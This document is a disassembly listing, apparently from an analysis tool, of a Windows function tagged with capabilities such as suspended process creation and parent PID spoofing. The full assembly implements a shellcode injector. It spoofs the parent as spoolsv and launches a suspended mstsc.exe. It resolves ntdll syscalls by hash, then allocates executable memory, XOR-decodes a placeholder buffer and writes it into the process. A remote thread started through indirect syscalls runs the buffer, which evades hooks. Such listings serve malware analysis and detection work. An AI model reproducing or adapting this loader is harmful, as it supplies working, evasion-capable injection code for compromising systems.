Function at 0x1400114e2
Capabilities:
Create process on windows
Create process suspended
Spoof parent pid

Disassembly:
jmp 0x14001a080
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x518
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xd2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x538]
mov rax, qword [0x140098d80]
xor rax, rbp
mov qword [rbp + 0x4b8], rax
lea rcx, [0x14009f224]
call fcn.1400117b7
lea rcx, str.___Executing_artifact_kit_buffer___n
call fcn.140011393
lea rax, str.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
add rax, 0x18
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 8]
mov eax, dword [rax + 4]
mov dword [rbp + 0x44], eax
mov rax, qword [rbp + 8]
add rax, 8
mov qword [rbp + 0x68], rax
lea rcx, str.___Opening_a_handle_on_spoolsv_process_n
call fcn.140011393
mov r8d, dword [rbp + 0x4e0]
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0xa8], rax
mov r8d, 0x70
xor edx, edx
lea rcx, [rbp + 0xd0]
call fcn.1400115eb
lea rcx, str.___Creating_suspended_process_with_PPID_spoofing_n
call fcn.140011393
lea r9, [rbp + 0x188]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x188]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x138], rax
lea r9, [rbp + 0x188]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0xa8]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov dword [rbp + 0xd0], 0x70
lea rax, [rbp + 0x158]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.C:WindowsSystem32mstsc.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x1c8], rax
lea rcx, str.___Getting_custom_handle_on_ntdll_module_n
call fcn.140011393
lea rcx, str.ntdll.dll
call fcn.1400115af
mov qword [rbp + 0x1e8], rax
lea rcx, str._n___Getting_address_of_NtAllocateVirtualMemory_n
call fcn.140011393
mov edx, 0xb4fbd8a3
mov rcx, qword [rbp + 0x1e8]
call fcn.1400113ed
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
add rax, 4
mov qword [rbp + 0x228], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x228]
movzx eax, byte [rcx + rax]
mov dword [0x140099200], eax
mov edx, dword [0x140099200]
lea rcx, str.___Syscall_value_of_NtAllocateVirtualMemory_:_0x_04x_n
call fcn.140011393
mov rax, qword [rbp + 0x208]
add rax, 0x12
mov qword [0x140099208], rax
mov rdx, qword [0x140099208]
lea rcx, str.___Address_of_NtAllocateVirtualMemory_syscall_instruction_in_ntdll_memory_:_0x_p_n
call fcn.140011393
lea rcx, str.___Allocating_memory_for_the_shellcode_with_indirect_syscall_n
call fcn.140011393
mov eax, dword [rbp + 0x44]
shl eax, 1
cdqe
mov qword [rbp + 0x248], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x248]
xor r8d, r8d
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x1a8]
call fcn.14001100f
mov rdx, qword [rbp + 0x88]
lea rcx, str.___Allocated_memory_address_:_0x_p_n
call fcn.140011393
lea rcx, str.___Decoding_the_buffer_with_the_key_n
call fcn.140011393
mov dword [rbp + 0x264], 0
jmp 0x14001a36b
mov eax, dword [rbp + 0x264]
inc eax
mov dword [rbp + 0x264], eax
mov eax, dword [rbp + 0x44]
cmp dword [rbp + 0x264], eax
jge 0x14001a3c0
movsxd rax, dword [rbp + 0x264]
mov rcx, qword [rbp + 0x28]
movsx eax, byte [rcx + rax]
mov dword [rbp + 0x4b4], eax
mov eax, dword [rbp + 0x264]
cdq
and edx, 7
add eax, edx
and eax, 7
sub eax, edx
cdqe
mov rcx, qword [rbp + 0x68]
movsx eax, byte [rcx + rax]
mov ecx, dword [rbp + 0x4b4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 0x264]
mov rdx, qword [rbp + 0x28]
mov byte [rdx + rcx], al
jmp 0x14001a35d
lea rcx, str.___Copying_buffer_into_process_memory_n
call fcn.140011393
lea rcx, str._n___Getting_address_of_NtWriteVirtualMemory_n
call fcn.140011393
mov edx, 0xef30e449
mov rcx, qword [rbp + 0x1e8]
call fcn.1400113ed
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
add rax, 4
mov qword [rbp + 0x2a8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x2a8]
movzx eax, byte [rcx + rax]
mov dword [0x140099200], eax
mov edx, dword [0x140099200]
lea rcx, str.___Syscall_value_of_NtWriteVirtualMemory_:_0x_04x_n
call fcn.140011393
mov rax, qword [rbp + 0x288]
add rax, 0x12
mov qword [0x140099208], rax
mov rdx, qword [0x140099208]
lea rcx, str.___Address_of_NtWriteVirtualMemory_syscall_instruction_in_ntdll_memory_:_0x_p_n
call fcn.140011393
lea rcx, str.___Writing_real_shellcode_into_the_allocated_memory_with_indirect_syscall_n
call fcn.140011393
lea rax, [rbp + 0x2c8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x44]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x1a8]
call fcn.14001100f
lea rcx, str.___Creating_thread_to_execute_the_buffer_n
call fcn.140011393
mov qword [rbp + 0x2e8], 0
mov edx, 0x705de6d9
mov rcx, qword [rbp + 0x1e8]
call fcn.1400113ed
mov qword [rbp + 0x308], rax
mov rax, qword [rbp + 0x308]
add rax, 4
mov qword [rbp + 0x328], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x328]
movzx eax, byte [rcx + rax]
mov dword [0x140099200], eax
mov edx, dword [0x140099200]
lea rcx, str.___Syscall_value_of_RtlCreateUserThread_:_0x_04x_n
call fcn.140011393
mov rax, qword [rbp + 0x308]
add rax, 0x12
mov qword [0x140099208], rax
mov qword [rsp + 0x48], 0
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1a8]
call fcn.14001100f
lea rcx, str.___Creating_new_thread_through_indirect_syscall_n
call fcn.140011393
lea rcx, [rbp - 0x50]
lea rdx, [0x1400262f0]
call fcn.14001166d
mov rcx, qword [rbp + 0x4b8]
xor rcx, rbp
call fcn.1400113bb
lea rsp, [rbp + 0x4c8]
pop rdi
pop rbp
ret